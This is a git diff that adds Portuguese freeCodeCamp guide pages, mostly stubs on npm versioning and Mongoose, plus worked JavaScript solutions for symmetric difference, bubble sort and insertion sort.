+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Caret-Character to Use the Latest Minor Version of a Dependency
+localeTitle: Use o Caret Caret para usar a última versão menor de uma dependência
+---
+## Use o Caret Caret para usar a última versão menor de uma dependência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..61c65c0c4c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Tilde-Character to Always Use the Latest Patch Version of a Dependency
+localeTitle: Use o caractere Tilde para sempre usar a versão de patch mais recente de uma dependência
+---
+## Use o caractere Tilde para sempre usar a versão de patch mais recente de uma dependência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
new file mode 100644
index 0000000000..205383181e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
@@ -0,0 +1,67 @@
+---
+title: Chain Search Query Helpers to Narrow Search Results
+localeTitle: Auxiliares de consulta de pesquisa em cadeia para restringir os resultados da pesquisa
+---
+## Auxiliares de consulta de pesquisa em cadeia para restringir os resultados da pesquisa
+
+1.  Para criar, mas não executar uma consulta de localização
+
+```javascript
+Model.find( {name: 'Leah'} ) 
+```
+
+2.  Para armazenar a consulta de localização em uma variável para uso posterior:
+
+```javascript
+var findQuery = YourModel.find( {name: 'Leah'} ) 
+```
+
+3.  Para classificar uma matriz:
+
+```javascript
+yourArray.sort( {age: 1} )  // Here: 1 for ascending    order and -1 for descending order. 
+```
+
+4.  Para limitar o tamanho de uma matriz:
+
+```javascript
+yourArray.limit(5)  // return array which has 5 items in it. 
+```
+
+5.  Para ocultar determinada propriedade do resultado:
+
+```javascript
+yourArray.select( {name: 0, age: 1} ) // Here: 0 means false and thus hide name property; 1 means true so age property will show. 
+```
+
+6.  Para executar essa consulta, você pode:  
+    1) retorno de chamada:
+
+```javascript
+YourQuery.exec(function(err, docs) { 
+    //do something here 
+ }) 
+```
+
+Ou 2) promessa
+
+```javascript
+YourQuery.exec.then(function(err, docs) { 
+    //do something here 
+ }) 
+```
+
+7.  Cadeia tudo junto:
+
+```javascript
+Person.find({age: 55}).sort({name: -1}).limit(5).select( {favoriteFoods: 0} ).exec(function(error, people) { 
+  //do something here 
+ }) 
+```
+
+  
+  
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
new file mode 100644
index 0000000000..5052c1ae46
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Model
+localeTitle: Crie um modelo
+---
+## Crie um modelo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
new file mode 100644
index 0000000000..bc865a4103
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Save a Record of a Model
+localeTitle: Criar e salvar um registro de um modelo
+---
+## Criar e salvar um registro de um modelo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
new file mode 100644
index 0000000000..423b66ea36
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Many Records with model.create()
+localeTitle: Crie muitos registros com model.create ()
+---
+## Crie muitos registros com model.create ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
new file mode 100644
index 0000000000..6fe775d685
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Many Documents with model.remove()
+localeTitle: Excluir muitos documentos com model.remove ()
+---
+## Excluir muitos documentos com model.remove ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
new file mode 100644
index 0000000000..0ea242a107
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete One Document Using model.findByIdAndRemove
+localeTitle: Excluir um documento usando model.findByIdAndRemove
+---
+## Excluir um documento usando model.findByIdAndRemove
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
new file mode 100644
index 0000000000..631c4a6d8d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: MongoDB and Mongoose
+localeTitle: MongoDB e Mongoose
+---
+## MongoDB e Mongoose
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
new file mode 100644
index 0000000000..9fd757b363
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: Install and Set Up Mongoose
+localeTitle: Instalar e configurar o mangusto
+---
+## Instalar e configurar o mangusto
+
+Você pode querer verificar tanto o [MongoDB](https://www.npmjs.com/package/mongodb) quanto o Repositório de NPM do [Mongoose](https://www.npmjs.com/package/mongoose) para que ele funcione.
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
new file mode 100644
index 0000000000..e3bd723bd9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform Classic Updates by Running Find, Edit, then Save
+localeTitle: Executar atualizações clássicas executando Localizar, editar e salvar
+---
+## Executar atualizações clássicas executando Localizar, editar e salvar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
new file mode 100644
index 0000000000..58a676f976
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform New Updates on a Document Using model.findOneAndUpdate()
+localeTitle: Executar novas atualizações em um documento usando model.findOneAndUpdate ()
+---
+## Executar novas atualizações em um documento usando model.findOneAndUpdate ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
new file mode 100644
index 0000000000..6703802eca
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.find() to Search Your Database
+localeTitle: Use model.find () para pesquisar seu banco de dados
+---
+## Use model.find () para pesquisar seu banco de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
new file mode 100644
index 0000000000..9c9d01456e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findById() to Search Your Database By _id
+localeTitle: Use model.findById () para pesquisar seu banco de dados por _id
+---
+## Use model.findById () para pesquisar seu banco de dados por \_id
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
new file mode 100644
index 0000000000..4562777ce9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findOne() to Return a Single Matching Document from Your Database
+localeTitle: Use model.findOne () para retornar um único documento correspondente do seu banco de dados
+---
+## Use model.findOne () para retornar um único documento correspondente do seu banco de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
new file mode 100644
index 0000000000..58e1a5a95d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
@@ -0,0 +1,200 @@
+---
+title: Find the Symmetric Difference
+localeTitle: Encontre a diferença simétrica
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar [**`Read-Search-Ask`**](https://forum.freecodecamp.org/t/how-to-get-help-when-you-are-stuck/) se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+A diferença simétrica (comumente denotada por Δ) de dois conjuntos é o conjunto de elementos que estão em um dos dois conjuntos, mas não em ambos.
+
+Por exemplo, `sym([1, 2, 3], [5, 2, 1, 4])` deve render `[3, 4, 5]` .
+
+Seguindo a definição acima, a diferença simétrica de três conjuntos _A_ , _B_ e _C_ pode ser expressa como `(A &Delta; B) &Delta; C`
+
+#### Links Relevantes
+
+*   [Diferença simétrica - Wikipedia](https://en.wikipedia.org/wiki/Symmetric_difference)
+*   [Diferença simétrica - YouTube](https://www.youtube.com/watch?v=PxffSUQRkG4)
+
+[](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)
+
+ [## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+O objeto _arguments_ é um objeto do tipo _Array_ que herda apenas a propriedade `Array.length` . Por isso, considere convertê-lo em um _Array_ real.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Considere gravar uma função auxiliar que retorna a diferença simétrica de duas matrizes em cada chamada, em vez de tentar diferenciar todos os conjuntos simultaneamente.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Aplique a função auxiliar na matriz de argumentos criada, reduzindo seus elementos de forma pareada recursivamente para formar a saída esperada.
+
+**Nota** No caso de _um número ímpar de conjuntos,_ a diferença simétrica incluirá elementos idênticos presentes em todos os conjuntos dados. Por exemplo;
+```
+A = {1, 2, 3} 
+ B = {2, 3, 4} 
+ C = {3, 4, 5} 
+ 
+ (A &Intersection; B) &Intersection; C = {1, 4} &Intersection {3, 4, 5} 
+ A &Intersection; B = {1, 3, 5} 
+```
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![:warning:](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif ":Aviso:")
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function sym() { 
+      var args = []; 
+      for (var i = 0; i < arguments.length; i++) { 
+        args.push(arguments[i]); 
+      } 
+ 
+      function symDiff(arrayOne, arrayTwo) { 
+        var result = []; 
+ 
+        arrayOne.forEach(function(item) { 
+          if (arrayTwo.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        arrayTwo.forEach(function(item) { 
+          if (arrayOne.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        return result; 
+      } 
+ 
+      // Apply reduce method to args array, using the symDiff function 
+      return args.reduce(symDiff); 
+    } 
+
+```](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) 
+
+ [![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:")](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) [Executar código](https://repl.it/C4II/0)
+
+### Explicação do código:
+
+*   `push()` é usado para dividir o objeto _arguments_ em um array, _args_ .
+*   A função `symDiff` encontra a diferença simétrica entre dois conjuntos. É usado como uma função de retorno de chamada para o método `reduce()` chamado _args_ .
+*   `arrayOne.forEach()` envia os elementos para o _resultado_ que estão presentes apenas no _arrayOne_ , bem como não fazem parte do _resultado_ .
+*   `arrayTwo.forEach()` empurra os elementos para o _resultado_ que estão presentes apenas no _arrayTwo_ , assim como não fazem parte do _resultado_ .
+*   O _resultado_ , que é a diferença simétrica, é retornado. Esta solução funciona para qualquer número de conjuntos.
+
+#### Links Relevantes
+
+*   [JavaScript para](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/statements/for)
+*   [JavaScript Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JavaScript Array.prototype.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [JavaScript Array.prototype.forEach ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
+*   [JavaScript Array.prototype.indexOf ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function sym() { 
+ 
+      // Convert the argument object into a proper array 
+      var args = Array.prototype.slice.call(arguments); 
+ 
+      // Return the symmetric difference of 2 arrays 
+      var getDiff = function(arr1, arr2) { 
+ 
+        // Returns items in arr1 that don't exist in arr2 
+        function filterFunction(arr1, arr2) { 
+          return arr1.filter(function(item) { 
+            return arr2.indexOf(item) === -1; 
+          }); 
+        } 
+ 
+        // Run filter function on each array against the other 
+        return filterFunction(arr1, arr2) 
+          .concat(filterFunction(arr2, arr1)); 
+      }; 
+ 
+      // Reduce all arguments getting the difference of them 
+      var summary = args.reduce(getDiff, []); 
+ 
+      // Run filter function to get the unique values 
+      var unique = summary.filter(function(elem, index, self) { 
+        return index === self.indexOf(elem); 
+        }); 
+      return unique; 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoc/0)
+
+### Explicação do código:
+
+*   O método `slice()` é usado para dividir o objeto _arguments_ em um array, _args_ .
+*   A função `getDiff` encontra a diferença simétrica entre dois conjuntos, _arr1_ e _arr2_ . É usado como uma função de retorno de chamada para o método `reduce()` chamado _args_ .
+*   O primeiro `filterFunction()` retorna elementos em _arr1_ que não existem em _arr2_ .
+*   O próximo `filterFunction()` é executado em cada array contra o outro para verificar o inverso da primeira verificação de exclusividade e concatená-lo.
+*   _O resumo_ consiste nos argumentos reduzidos.
+*   `filter()` é usado no _resumo_ para manter apenas os valores _exclusivos_ e _exclusivo_ é retornado.
+
+#### Links Relevantes
+
+*   [JavaScript Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [JavaScript Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [JavaScript Array.prototype.concat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    function sym() { 
+      let argv = Array.from(arguments).reduce(diffArray); 
+      return argv.filter((element, index, array) => index === array.indexOf(element));//remove duplicates 
+    } 
+ 
+    function diffArray(arr1, arr2) { 
+      return arr1 
+        .filter(element => !arr2.includes(element)) 
+        .concat(arr2.filter(element => !arr1.includes(element))); 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/@ashenm/Symmetric-Difference)
+
+### Explicação do código:
+
+*   A função principal _sym ()_ cria um array a partir de _argumentos_ e reduz seus elementos utilizando a função auxiliar _diffArray ()_ para um único array.
+    
+*   A função _diffArray ()_ retorna a diferença simétrica de dois arrays escolhendo elementos únicos em arrays parametrizados; _arr1_ e _arr2_ .
+    
+
+#### Links Relevantes
+
+*   [JavaScript Array.from ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+*   [JavaScript Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
new file mode 100644
index 0000000000..dfde4245cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
@@ -0,0 +1,49 @@
+---
+title: Implement Bubble Sort
+localeTitle: Implementar o Bubble Sort
+---
+## Implementar o Bubble Sort
+
+### Método:
+
+*   O Bubble Sort é um algoritmo de ordenação que classifica ou _borbulha_ o maior número como último elemento no final de cada passagem.
+*   Nós comparamos cada elemento com o anterior, se o elemento antes é menor, nós trocamos de lugar.
+*   A complexidade do tempo do Bubble Sort é **O (n 2 )** .
+*   É um algoritmo **estável** .
+*   ![Tipo de bolha em ação](https://upload.wikimedia.org/wikipedia/commons/c/c8/Bubble-sort-example-300px.gif)
+
+### Solução:
+
+#### Solução 1: Básico
+
+```js
+function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function bubbleSort(array) { 
+  for (let i = 0; i < array.length; i++){ 
+    for (let j = 0; j < array.length-1-i; j++){ // -i because the largest element will be bubbled at the end so we don't have to compare. 
+      if (array[j] > array[j+1]){ 
+        swap(j, j+1, array); 
+      } 
+    } 
+  } 
+  return array; 
+ } 
+```
+
+#### Solução 2: Avançado
+
+`js function bubbleSort(array) { for (let i = 0; i < array.length; i++){ for (let j = 0; j < array.length-1-i; j++){ if (array[j] > array[j+1]) [array[j], array[j+1]] = [array[j+1], array[j]]; // Using ES6 array destructuring to swap } } return array; }`
+
+*   [Executar código](https://repl.it/@ezioda004/Bubble-Sort)
+    
+    ### Referências:
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/bubble-sort/)
+    
+*   [Wikipedia](https://en.wikipedia.org/wiki/Bubble_sort)
+    
+*   Vídeo por [HackerRank](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
new file mode 100644
index 0000000000..d05ce637c1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
@@ -0,0 +1,40 @@
+---
+title: Implement Insertion Sort
+localeTitle: Implemente a ordem de inserção
+---
+## Implemente a ordem de inserção
+
+### Método:
+
+*   A classificação de inserção pressupõe que a matriz é dividida em duas partes:
+
+1.  Classificado (inicialmente o primeiro elemento)
+2.  não triados
+
+*   Em cada passagem, selecionamos um elemento e verificamos o array ordenado.
+*   Se o elemento selecionado for menor que o último elemento da matriz classificada, então nós mudamos a matriz classificada por 1 até encontrarmos o local para _inserir_ o elemento selecionado.
+*   ![Tipo de inserção em ação](https://upload.wikimedia.org/wikipedia/commons/0/0f/Insertion-sort-example-300px.gif) - [fonte](https://en.wikipedia.org/wiki/Insertion_sort)
+*   A comple- xidade de tempo da ordenação por Inserção é de **O (n 2 )** .
+*   É um algoritmo **estável** .
+
+### Solução:
+
+```js
+function insertionSort(array) { 
+  for (let i = 1; i < array.length; i++){ 
+    let curr = array[i]; 
+    for (var j = i-1; j >= 0 && array[j] > curr; j--){ 
+      array[j+1] = array[j]; 
+    } 
+    array[j+1] = curr; 
+  } 
+  return array; 
+ } 
+```
+
